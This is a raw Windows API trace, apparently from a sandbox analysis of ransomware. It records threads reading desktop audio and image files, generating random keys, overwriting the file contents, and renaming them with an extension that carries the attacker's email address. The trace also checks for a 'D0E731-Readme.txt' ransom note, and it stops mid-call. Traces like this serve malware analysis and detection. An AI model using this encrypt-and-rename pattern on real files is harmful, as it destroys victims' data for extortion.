[0171.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0171.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0171.997] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1437fd58, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1437fd58*=0x4096, lpOverlapped=0x0) returned 1 [0171.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.997] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x5d3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.997] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057ee0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1437fd90, lpOverlapped=0x0 | out: lpBuffer=0x3057ee0*, lpNumberOfBytesWritten=0x1437fd90*=0x20, lpOverlapped=0x0) returned 1 [0171.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0171.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.998] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058138*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x3058138*, lpNumberOfBytesWritten=0x1437fda4*=0x8, lpOverlapped=0x0) returned 1 [0171.998] WriteFile (in: hFile=0x5d4, lpBuffer=0x1437fdbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x1437fdbc*, lpNumberOfBytesWritten=0x1437fda4*=0x4, lpOverlapped=0x0) returned 1 [0171.998] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1437fda4*=0x4, lpOverlapped=0x0) returned 1 [0171.998] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1437fda4*=0x6c, lpOverlapped=0x0) returned 1 [0171.998] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x1437fda4*=0x20, lpOverlapped=0x0) returned 1 [0171.998] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1437fda4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1437fda4*=0x4, lpOverlapped=0x0) returned 1 [0171.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058110) returned 1 [0171.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058138) returned 1 [0171.998] CloseHandle (hObject=0x5d4) returned 1 [0172.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc36e8 [0172.292] wcscpy (in: _Dest=0x2fc36e8, _Source="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" [0172.292] wcscat (in: _Dest=0x2fc36e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.292] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.348] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc36e8) returned 1 [0172.348] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa41e0 [0172.348] wcscpy (in: _Dest=0x2fa41e0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.348] wcscat (in: _Dest=0x2fa41e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.348] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa41e0) returned 1 [0172.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f827d8) returned 1 [0172.348] RtlExitUserThread (Status=0x1) Thread: id = 1959 os_tid = 0xfcc [0170.757] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.954] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0171.955] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x143fff34 | out: lpFileSize=0x143fff34*=78265) returned 1 [0171.955] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x131b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.955] ReadFile (in: hFile=0x5d4, lpBuffer=0x143fff08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x143fff08*, lpNumberOfBytesRead=0x143fff04*=0x4, lpOverlapped=0x0) returned 1 [0171.956] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.956] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.956] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0171.956] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0171.956] NtQuerySystemTime (in: CurrentTime=0x143ffee0 | out: CurrentTime=0x143ffee0*=132121213292639642) returned 0x0 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x3da4cc47 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xc9730ea5 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x1232e68d [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xa3beacc [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x7b1c0cfc [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x2fa2d827 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x9f1fefc7 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x40629b8e [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xde63bdd1 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xd5e3c506 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x4be46d11 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xd9f107d7 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xb8efa19a [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xde33a62e [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x1f06f86d [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xf864b056 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xbdc7987d [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xbc01904b [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x8ae25000 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x2b89da69 [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xdb4fa77f [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xb2466eec [0171.956] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xd1192985 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xae6c8b [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xeb212966 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0xfd43fc2 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x6e85ba07 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x40ffb8e8 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x7a6cf999 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x6b74c06b [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x6e5d9ea6 [0171.957] RtlRandom (in: Seed=0x143ffeec | out: Seed=0x143ffeec) returned 0x4920d4e2 [0171.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0171.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0171.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.968] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.968] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x143ffeb8, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x143ffeb8*=0x4096, lpOverlapped=0x0) returned 1 [0171.969] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0171.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0171.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0171.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0171.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058110 [0171.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058110) returned 1 [0171.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0171.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0171.970] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x143ffeb8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x143ffeb8*=0x4096, lpOverlapped=0x0) returned 1 [0171.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.970] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x131b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.970] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x143ffef0, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x143ffef0*=0x20, lpOverlapped=0x0) returned 1 [0171.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.971] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x30580e8*, lpNumberOfBytesWritten=0x143fff04*=0x8, lpOverlapped=0x0) returned 1 [0171.971] WriteFile (in: hFile=0x5d4, lpBuffer=0x143fff1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x143fff1c*, lpNumberOfBytesWritten=0x143fff04*=0x4, lpOverlapped=0x0) returned 1 [0171.971] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x143fff04*=0x4, lpOverlapped=0x0) returned 1 [0171.971] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x143fff04*=0x6c, lpOverlapped=0x0) returned 1 [0171.971] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x143fff04*=0x20, lpOverlapped=0x0) returned 1 [0171.972] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x143fff04, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x143fff04*=0x4, lpOverlapped=0x0) returned 1 [0171.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0171.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0171.972] CloseHandle (hObject=0x5d4) returned 1 [0172.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97678 [0172.292] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" [0172.292] wcscat (in: _Dest=0x2f97678, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.292] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\wgtqk0z53i6.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.349] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.350] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0172.350] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.350] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.350] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.350] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.350] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.350] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3f40) returned 1 [0172.350] RtlExitUserThread (Status=0x1) Thread: id = 1960 os_tid = 0xfd0 [0170.758] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.936] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0171.937] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1447f988 | out: lpFileSize=0x1447f988*=48200) returned 1 [0171.937] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xbc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.937] ReadFile (in: hFile=0x5d4, lpBuffer=0x1447f95c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x1447f95c*, lpNumberOfBytesRead=0x1447f958*=0x4, lpOverlapped=0x0) returned 1 [0171.938] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0171.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058048 [0171.938] NtQuerySystemTime (in: CurrentTime=0x1447f934 | out: CurrentTime=0x1447f934*=132121213292483189) returned 0x0 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x6a0511e [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x6838b4f5 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x299335f6 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xe0033f99 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x9b6b3879 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x785dc66b [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x9530962d [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x820795d8 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xd26f0d4b [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x6e4bce7a [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x935214d8 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x1c8bc2c5 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x201a2fd3 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xf8bdb8e3 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x60f2446c [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x7d52b261 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x9d3f1a1b [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x87a53099 [0171.938] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xa434e7b0 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xa21273b7 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x7920fac8 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x3b85aade [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x719ce7fe [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x3670f787 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xa9666994 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xe0447dcf [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x17d35ef2 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x9b61e905 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xab81ee51 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0x3222f479 [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xdfcf3efb [0171.939] RtlRandom (in: Seed=0x1447f940 | out: Seed=0x1447f940) returned 0xb3a3e1d8 [0171.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0171.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.950] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0171.950] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.950] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.950] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1447f90c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1447f90c*=0x4096, lpOverlapped=0x0) returned 1 [0171.951] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0171.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0171.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0171.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0171.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0171.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0171.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0171.952] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1447f90c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1447f90c*=0x4096, lpOverlapped=0x0) returned 1 [0171.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.952] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xbc48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.952] WriteFile (in: hFile=0x5d4, 